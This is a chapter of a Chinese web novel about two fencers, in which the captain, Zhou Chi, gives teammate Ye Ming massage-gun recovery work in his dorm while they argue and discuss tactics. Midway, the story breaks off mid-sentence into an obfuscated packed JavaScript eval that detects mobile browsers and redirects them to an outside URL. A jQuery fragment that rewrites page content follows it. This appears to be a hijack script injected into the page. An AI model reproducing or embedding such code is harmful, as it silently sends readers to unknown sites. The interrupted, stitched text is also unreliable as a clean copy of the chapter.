14.按摩
作品:《男花队长[击剑]》 第十四章
叶鸣还在用餐。
他近期体重掉得厉害,营养师专门调整了食谱,要求他必须增加蛋白质摄入。
眼下这份牛排,就是任务之一。
薄油煎出的牛排,因禁止使用任何合成调味料,肉质比市售的硬得多。叶鸣拧着眉,用刀叉将牛排仔细分割成更小更薄的肉块,送进嘴里,机械地咀嚼许久,才能勉强咽下。
这种吃法自然也是营养师的规定:一切只为成绩服务,味蕾的享受从来不在考虑范围内。
整个过程叶鸣显然很不耐烦,整个人都透着一股戾气,腮帮子鼓的高高的,望着窗户外面使劲地嚼。
嚼着嚼着突然猛地回头,和周驰的目光撞上。
简直就像野兽一样的直觉。
周驰脸上露出笑容,回以礼貌,但心里已经驳回了自己的猜测。
自己和叶鸣的关系这么糟糕,已经到了说一句话就会吵架的程度,叶鸣会不会给自己筹钱都是问号,所以那两笔钱,还是要从其他人身上找才对。
不是叶鸣,还有谁呢?
结果当然是没找到,最后只能暂时作罢,吃完饭就离开了食堂。
周驰没有耽搁,在确定晚上要去找叶鸣后,越是麻烦事当然是越早完成越好。
他先去了综合楼的二楼,从器材室里拿走了一些辅助工具,随后单肩挂着背包,就径直去了宿舍楼的五楼,叶鸣的宿舍。
房门紧闭,但这次周驰没有直接开锁。
他站在熟悉的位置,心情平静地敲了敲门。
当初那悲愤难过的心情,如今已被新的希望所取代,来自队友和教练们的爱,让他重新站起来,并且心平气和地找到了自己新的定位。
至少,他不会再因为自己曾经住过的房间被占据,就感受到天塌地陷般的绝望。
足足等了十多秒,房门才被打开,叶鸣沉着脸站在门后,呼吸有些微微的喘。
周驰笑着将背包拍了拍,然后有些疑惑地走进了屋里。
屋里的空气,十分的清新。
记忆里上来两次的“狗窝”,那种明明白日里流淌了大量的汗水,回到宿舍因为天太冷而不想开窗户,最终导致的憋闷感,此刻荡然无存。
窗户还是关的很严实,但却空气格外的干净,甚至还有一种淡淡的香气,很淡很淡,却闻着很舒服的味道。
“打扫房间了?”
随着周驰的视线扫过,房间里也留下太多打扫后的痕迹,桌面的物品被重新摆放整齐,擦拭了灰尘,床底下的鞋一排摆好,就连床单似乎都刚刚被拉扯过,呈现出从未被人坐过的平整。
然后周驰点头:“挺好。”
他笑着将背包熟门熟路地放在桌子,一边拉开背包的拉链一边说:“拉力带,冰敷袋,筋膜枪,我还带了药油,赵老师说让我根据你的情况进行安排,你今天训练有没有哪里疼痛?”
叶鸣站在他身后,隔着一米远的位置,不知道为什么,明明空间并不算小的的宿舍,给人一种极为拥挤的感觉。
他的目光从周驰的脸上移开,落在被周驰拿出来摆放在桌子上的器材,最后说:“东西放下,我自己做就行。”
周驰却摇头:“冰敷和拉力带你可以自己来,筋膜枪得我来,否则按不对地方相当于白来。你去床上趴着去。”
“……”叶鸣不动,眼睫往下压,周身散发出一股不讨喜的抗拒气息。
周驰不想啰嗦,语气加重了一点:“去。”
叶鸣挪着脚步走到床边,慢慢坐下后,干脆地趴了上去。
周驰拿过筋膜枪,视线落在那双腿上,看叶鸣穿了条长裤,满意地说:“保暖很重要,平时没训练的时候,还是要注意温度,天一天比一天冷,该加秋裤就必须加,别硬撑。”
“……”
“听到没有?”
“嗯。”
周驰坐在床边上,手中的筋膜枪嗡嗡地响,在按上去前,他现在那小腿上捏了几下。
手感很硬,肌肉绷的很紧,不过这也正常,这就是他过来的目的。
职业运动员每天的运动量很大,肌肉都在高负荷运作,所以每天训练后的放松很重要,队里都有要求,晚上休息的时候要自己做好按摩和冰敷,但大部分队员嫌弃麻烦,并不会每天做,所以这种疲倦积累下来,每逢赛季就会找专业的理疗师进行放松。
周驰将筋膜枪调到中高速档,对准叶鸣的小腿最大的那块肌肉群,密集而有力的震动透过皮肤直抵深处,原本坚硬的肌肉纤维,在持续的高频冲击下,开始逐渐松解。
两个人一开始谁都没有说话,宿舍里只有筋膜枪响起的嗡嗡嗡声,周驰将筋膜枪顺着他小腿的肌肉纤维缓慢移动,直到按到脚踝上一点点,然后再缓缓地移动回去。
这个过程里,叶鸣的双脚脚背一直绷着,这会让他的肌肉因此而拉直,方便将筋膜枪的震动传递到更深沉的肌肉。
这也是必须要两个人的原因,自己能够放松的部分有一定的限制,而职业运动员的身体容不得疏忽。
周驰终究是有些无聊,没头没尾地说了起来:“到了英国,记得把脾气收收,你们张教的性格好,不会骂人,但说出口的话都是对的。
以前你从来不会顶嘴,但最近我发现在训练指导上你也开始说话,你不要总是以自己的经验去判定对错,教练站在场外能看见的一定比你多。”
叶鸣没回头,也没动,只是闷闷地说:“我们在讨论,你不懂不要乱说。”
“你那可不是讨论的语气,得亏张教有耐心,换我就要开骂了。把声音压低一点,放缓一点,最好说话前加个称呼,那样显得有礼貌。”
“虚伪,像你一样。”
“诶?”周驰的眼睛睁大,“就不能好好聊天吗?”
叶鸣只是闷声说:“他们以为你脾气好,都喜欢你,其实你最虚伪。”
“没错,我虚伪,大家都喜欢我,你不虚伪,谁都不稀罕。”
“以为谁都和你一样,左右逢源才开心?”
“别人的生活方式你管呢?你过好自己就行。”
“看不惯。”
“哦,原来就因为这个讨厌我?我万人迷,被人喜欢,你没人喜欢,就羡慕嫉妒恨?”
叶鸣猛地转头看他,瞪得他的眼睛看起来十分恼怒,但却闪着火光,比那黑沉沉的颜色强。
周驰笑出一对梨涡,面对叶鸣的蹬视,他始终很平淡:“只是生活方式的差距而已,并不代表谁对谁错,我喜欢和人往来互动,这个过程里我很快乐,这样就够了。就像我从不批评你的特立独行一样,那是能让你放松的方式,你就去做。”
叶鸣听他说完,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16909371|192366||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不说话,只是将头转回去,又趴回床上。
周驰手里的筋膜枪继续在他小腿上移动:“这次在英国,男队这边没有队长跟过去,在那边的吃穿住行,包括和其他国家队员的来往,有很多的小细节,你就得注意了,毕竟出了国我们就不仅仅是自己,还是华国运动员,各国之间,一点小小的问题,都会被放大来看的。你现在是我们男队的王牌,就会被更多人盯着,一定要把脾气收了。”
说完,周驰本以为叶鸣不会回答,没想到却闷闷地“嗯”了一声。
周驰脸上的笑意也渐浓,又说了好一会儿,手里的筋膜枪突然就停了下来。
筋膜枪自带的15分钟定时到了,周驰将枪头移开,用手在那小腿上捏了捏,“不错,明显放松下来了。”
这么说着,周驰将筋膜枪重新打开,将枪头再次抵在了叶鸣的另外一条硬邦邦的腿上,视线顺着腿往上看,最后落在了他屁股上。
“屁股练的挺翘。”
只是玩笑的一句,叶鸣却像条弹起的鱼般坐起来,反骂一句:“你变态啊!”
周驰确实被这句话堵住了。
本来只是随意的夸奖,甚至从专业的角度说,臀大肌能够练到这个程度,足以说明叶鸣的弓步突刺会具有很强的爆发力。
康复师和像他这样的职业运动员,甚至可以通过对臀部形状的观察,进而判断一名击剑运动员的发力状态,或者有没有潜在风险。
只是叶鸣这句变态给他“镇”住了,脑袋里空白了半天,直到叶鸣拽过被子将自己的屁股裹上,然后又装死般的趴回床上,不知道为什么,周驰突然就觉得有点可爱。
大概是因为并不擅长和人相处吧,叶鸣的很多反应,与其说是发疯,更像是在无法做出判断前,习惯性展开的进攻。
这一点也和他的击剑风格几乎一模一样,叶鸣在场上非常喜欢成为进攻方,主动出手,雷霆一击的获胜。
“我和张教练今天谈了一下你场上的习惯。”想起正经事,周驰也不再管他过激的反应,正色说道,“你去年进成年组比赛,就拿下了不错的成绩,今年都已经拿了一个世界杯的亚军,接下来应该会有些好成绩。
但也同时说明,会有无数的目光落在你的身上,关于你的个人习惯和性格,恐怕现在早就人手一份,你现在需要去考虑后续的变化,预防被人摸透后制定针对你的战术。”
“……”叶鸣没有说话,但是在听的。
周驰也就继续说道:“我的想法是,在你感觉到不对,第三次准备进攻的时候,后退半步再出手。”
叶鸣的头转过来,垂眸看着周驰,“重剑的气势最重要。后退半步会打乱所有节奏。”
“我没让你一直这样,而是感觉需要变的时候,你试试我说的方法。”
叶鸣不再说话,他听进去了,虽然他性格不好十分暴躁,但只要涉及到击剑的提议,他都会认真的去想,而不是为了反驳而反驳。
如果他是什么都听不进去的人,也不会有今天的成绩。
周驰说:“我很看好你这次比赛,保银争金没问题,男队这边拿下一枚金牌,我负伤的影响也会进一步变淡,运气好,没准还能保住团体积分的前四名额。”
叶鸣沉默了一会儿,再开口的时候,声音有点嘶哑,“你练左手是什么意思?右手废了吗?”

